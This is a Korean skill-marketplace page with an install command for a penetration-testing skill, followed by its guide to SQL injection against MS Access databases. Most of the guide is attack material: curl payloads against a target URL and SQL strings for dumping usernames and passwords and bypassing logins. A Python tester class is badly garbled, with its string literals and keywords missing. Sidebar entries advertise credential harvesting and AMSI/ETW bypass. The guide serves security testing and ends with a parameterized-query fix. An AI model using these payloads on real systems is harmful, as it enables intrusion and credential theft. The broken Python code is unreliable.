Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-5명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
SOC 직업 분류 기준
| name | wstg-inpv-05.5 |
| description | Testing for SQL Injection - MS Access |
| category | input-validation |
| owasp_id | WSTG-INPV-05.5 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.5
Testing for SQL Injection - MS Access
Microsoft Access SQL injection testing targets Access databases (Jet/ACE engine) often used in legacy or small-scale web applications. Access has limited features compared to enterprise databases but can still be exploited for data extraction and authentication bypass.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for MS Access database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "Microsoft Access|JET Database|ODBC Microsoft Access|\.mdb"
# Access-specific syntax test
curl -s "${TARGET}' AND IIF(1=1,1,0)=1--"
# TOP keyword (Access uses TOP not LIMIT)
curl -s "${TARGET}' UNION SELECT TOP 1 NULL--"
#!/usr/bin/env python3
"""
MS Access SQL Injection Tester
"""
import requests
import re
class AccessSQLiTester:
def __init__(self, url):
self.url = url
self.findings = []
.session = requests.Session()
ACCESS_ERRORS = [
,
,
,
,
,
,
,
,
]
ACCESS_PAYLOADS = {
: [
,
,
],
: [
,
,
,
],
: [
(, ),
(, ),
],
: [
,
],
}
():
()
payload .ACCESS_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
pattern .ACCESS_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
Exception e:
():
()
payload .ACCESS_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
response.status_code == :
has_error =
pattern .ACCESS_ERRORS:
re.search(pattern, response.text):
has_error =
has_error:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_access(param):
.test_union_based(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
tester = AccessSQLiTester()
tester.run_tests(param=)
-- List Tables (requires access to system tables)
SELECT Name FROM MSysObjects WHERE Type=1
-- Extract Data
' UNION SELECT TOP 1 username,password,NULL FROM users--
-- Authentication Bypass
' OR '1'='1
admin'--
-- IIF conditional
' AND IIF((SELECT TOP 1 username FROM users)='admin',1,0)=1--
-- Note: Access has limited functionality
-- No stacked queries
-- No sleep function
-- No file operations
' VBScript/ASP - Parameterized queries
Dim cmd
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM users WHERE id = ?"
cmd.Parameters.Append cmd.CreateParameter("id", 3, 1, , userId)
Set rs = cmd.Execute()
| Finding | CVSS | Severity |
|---|---|---|
| MS Access SQLi data extraction | 7.5 | High |
| MS Access auth bypass | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] MS Access database detected
[ ] UNION-based injection tested
[ ] Boolean-based injection tested
[ ] System tables accessed
[ ] Findings documented